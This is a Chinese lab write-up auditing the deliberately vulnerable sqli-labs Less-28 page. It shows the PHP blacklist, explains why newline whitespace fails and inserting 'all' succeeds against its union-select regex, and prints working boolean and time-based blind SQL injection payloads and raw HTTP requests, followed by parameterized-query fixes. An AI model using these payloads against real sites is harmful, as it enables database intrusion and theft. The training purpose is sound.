sqli-labs-Less-28-代码审计报告

18次阅读
没有评论

Less-28 审计报告:union\s+select 正则过滤绕过(括号单引号,盲注)

1. 关卡概述

项目 内容
关卡名称 Less-28 Trick with SELECT & UNION
源码路径 Less-28/index.php
漏洞类型 SQL 注入 – 布尔盲注(union\s+select 正则过滤可绕过,('$id') 括号闭合)
注入点参数 GET /Less-28/?id=
报错/盲注 盲注(无报错回显,仅有/无行差异)
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-28/index.php

// 第 20 行:用户输入直接取出
$id=$_GET['id'];

// 第 27 行:黑名单过滤
$id= blacklist($id);

// 第 34 行:括号 + 单引号包裹
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

// 第 48 行:无报错回显(print_r 被注释)
//print_r(mysql_error());

// 第 57~67 行:黑名单
function blacklist($id)
{
    $id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
    $id= preg_replace('/[--]/',"", $id);				//Strip out --.
    $id= preg_replace('/[#]/',"", $id);					//Strip out #.
    $id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
    //$id= preg_replace('/select/m',"", $id);	   		 	//(已注释)
    $id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
    $id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
    return $id;
}

3. 漏洞分析

  • 过滤机制:
    • 删除注释符 /*、--、#;
    • 删除空格与 +([ +]);
    • 删除 union\s+select(大小写不敏感,\s+ 匹配一个及以上空白,包括 Tab/换行/垂直制表符)。
  • 关键更正(依据实际代码):
    • union%0aselect 也会被删——/union\s+select/i 中的 \s 在 PCRE 中匹配 \n(换行),因此用换行、Tab、垂直制表符连接 union 与 select 均无法绕过该正则。
    • 真正可绕过的写法是在两者之间插入其它 token 打断匹配,例如 union%0aall%0aselect(插入 all)或 union/**/select(但 /* 已被删,此路不通)。
  • 闭合方式:WHERE id=('$id'),payload 以 1') 闭合 (',以 ('1 结尾配合模板尾部 ') 完成闭合。
  • 盲注判定:无报错回显,仅"有行/无行"。and、||、&&、extractvalue 均未被过滤,可用 and + %0a(换行)做布尔盲注(注意 [ +] 只删空格/加号,不删换行)。
  • 可被绕过的本质:正则只拦截 union 紧跟空白紧跟 select 这一种形态;and 与运算符完全未过滤,布尔盲注畅通。

4. 利用方式

步骤一:确认 union select 与 union%0aselect 均被过滤

  • ?id=1' union select 1,2,3-- - → 命中正则被删,语法错。
  • ?id=1' union%0aselect 1,2,3-- - → \s 匹配换行,同样被删,语法错 → 证明换行不能绕过该正则。

步骤二:布尔盲注(核心 payload,and 未被过滤,换行 %0a 作空白)

1')%0aand%0a(ascii(substr(database(),1,1))%3E100)%0aand%0a('1

拼接后:

SELECT * FROM users WHERE id=('1') and (ascii(substr(database(),1,1))>100) and ('1') LIMIT 0,1
  • 条件真 → ('1') and 1 and ('1') = id=1 → 有行;
  • 条件假 → ('1') and 0 and ('1') = id=0 → 无行。

逐字符二分爆破 security。

步骤三:确认 union all select 形态可绕过正则(供显示型利用参考)

-1')%0aunion%0aall%0aselect%0a1,2,database()%0aand%0a('1

union%0aall%0aselect:正则要求 union 后紧跟 \s+select,all 插入后 \s+ 后面是 all 而非 select,故不匹配、不被删。但由于注释符被过滤,联合查询需要额外构造闭合(较繁琐),布尔盲注更实用。

步骤四:时间盲注(替代方案)

1')%0aand%0aif((database())='security',sleep(5),1)%0aand%0a('1

5. Yakit 重放数据包

GET /sqli-labs/Less-28/?id=1')%0aand%0a(ascii(substr(database(),1,1))%3E100)%0aand%0a('1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

时间盲注报文:

GET /sqli-labs/Less-28/?id=1')%0aand%0aif((database())='security',sleep(5),1)%0aand%0a('1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

换行 %0a 不会被 [ +] 过滤,保持 URL 编码发送即可。用响应体是否含 Your Login name 判定真假。


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();

修复三:加固要点

  • 正则黑名单只拦一种形态,防不住 and/||/if()/布尔盲注——必须参数化。
  • id 参数 ctype_digit()/is_numeric() 强校验。
  • 关闭报错回显;对 SLEEP/BENCHMARK 等高耗时函数做 SQL 层面的行为检测与限流。
  • 数据库最小权限,升级 PHP 7+ / 8+。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
正文完
 0